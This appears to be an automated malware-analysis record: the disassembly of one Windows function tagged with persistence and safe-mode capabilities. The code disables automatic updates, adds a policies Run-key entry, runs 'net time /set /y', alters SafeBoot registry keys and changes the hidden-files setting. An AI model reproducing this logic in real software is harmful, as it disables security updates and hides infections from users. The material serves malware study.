Function at 0x409bfb
Capabilities:
Manipulate safe mode programs
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov eax, 0x8068
lea ebp, [esp - 0x7fe8]
call fcn.00425e20
mov eax, dword [0x44de90]
push ebx
push esi
push edi
mov dword [ebp + 0x7fe4], eax
lea eax, [ebp - 0x20]
push eax
mov esi, 0x2001f
push esi
xor ebx, ebx
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
push 0x80000001
mov dword [ebp - 0x20], ebx
call dword [0x451e18]
test eax, eax
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueA]
jne 0x409c61
push 4
push 0x43792c
push 4
push str.NoAutoUpdate
push dword [ebp - 0x20]
call edi
push dword [ebp - 0x20]
call dword [0x451e1c]
lea eax, [ebp - 0x20]
push eax
push esi
push ebx
push str.SOFTWAREMicrosoftWindowsCurrentVersionWindowsUpdateAuto_Update
mov esi, 0x80000002
push esi
call dword [0x451e18]
test eax, eax
jne 0x409cab
push 4
push 0x43792c
push 4
push str.AUOptions
push dword [ebp - 0x20]
call edi
push 4
push 0x4384fc
push 4
push str.AUState
push dword [ebp - 0x20]
call edi
push dword [ebp - 0x20]
call dword [0x451e1c]
push dword [ebp + 0x7ff4]
call fcn.00402e94
push dword [ebp + 0x7ff4]
mov edi, eax
call fcn.00402c8d
cmp edi, ebx
pop ecx
pop ecx
je 0x409cd0
push edi
call fcn.00402f1e
pop ecx
push dword [ebp + 0x7ff0]
call fcn.00402c52
mov edi, eax
mov dword [esp], str.c:l.tmp
call fcn.00402c52
cmp eax, edi
pop ecx
jne 0x409cf9
push str.c:l.tmp
call fcn.0041b113
pop ecx
mov edi, dword [ebp + 0x7ff0]
push edi
call fcn.00425700
add eax, edi
cmp eax, edi
pop ecx
mov dword [ebp - 0x28], eax
jbe 0x409d21
jmp 0x409d14
mov eax, dword [ebp - 0x28]
dec eax
cmp byte [eax], 0x5c
je 0x409d21
cmp eax, edi
mov dword [ebp - 0x28], eax
ja 0x409d11
lea eax, [ebp - 0x20]
push eax
push 0x2001f
push ebx
push str.SOFTWAREMicrosoftWindowsCurrentVersionpoliciesexplorer_run
push esi
call dword [0x451e18]
test eax, eax
jne 0x409e01
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x2c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 0x20]
mov dword [ebp - 0x2c], ebx
call dword [0x451e30]
test eax, eax
jne 0x409df8
mov edx, 0xfff
mov byte [ebp - 0x1c], bl
mov ecx, edx
lea edi, [ebp - 0x1b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
cmp dword [ebp - 0x2c], ebx
mov byte [ebp + 0x3fe4], bl
mov ecx, edx
lea edi, [ebp + 0x3fe5]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x24], ebx
jbe 0x409df8
mov edi, 0x4000
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp + 0x3fe4]
push eax
lea eax, [ebp - 0x80]
push eax
push ebx
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x24]
mov byte [ebp - 0x1c], bl
push dword [ebp - 0x20]
mov byte [ebp + 0x3fe4], bl
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x30], edi
call dword [0x451e34]
test eax, eax
jne 0x409ded
lea eax, [ebp + 0x3fe4]
push eax
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x409ded
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x20]
call dword [0x451e2c]
inc dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x2c]
jb 0x409d95
push dword [ebp - 0x20]
call dword [0x451e1c]
push str.Restoring_current_date._Its_taken_from_domain_time_server_n
call fcn.00419ab0
mov dword [esp], str.net_time__set__y
call fcn.00425067
push dword [ebp + 0x7ff0]
mov eax, str.DiskDrive
xor ecx, ecx
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x50], eax
inc ecx
lea eax, [ebp - 0x7c]
push 3
push eax
mov dword [ebp - 0x7c], esi
mov dword [ebp - 0x78], str.SYSTEMCurrentControlSetControlSafeBootMinimal4D36E967_E325_11CE_BFC1_08002BE10318
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0x64], esi
mov dword [ebp - 0x60], str.SYSTEMCurrentControlSetControlSafeBootNetwork4D36E967_E325_11CE_BFC1_08002BE10318
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x48], str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL
mov dword [ebp - 0x44], str.CheckedValue
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], 4
mov dword [ebp - 0x38], 0x437928
call fcn.0040506c
mov ecx, dword [ebp + 0x7fe4]
add esp, 0x10
pop edi
pop esi
pop ebx
call fcn.00425221
add ebp, 0x7fe8
leave
ret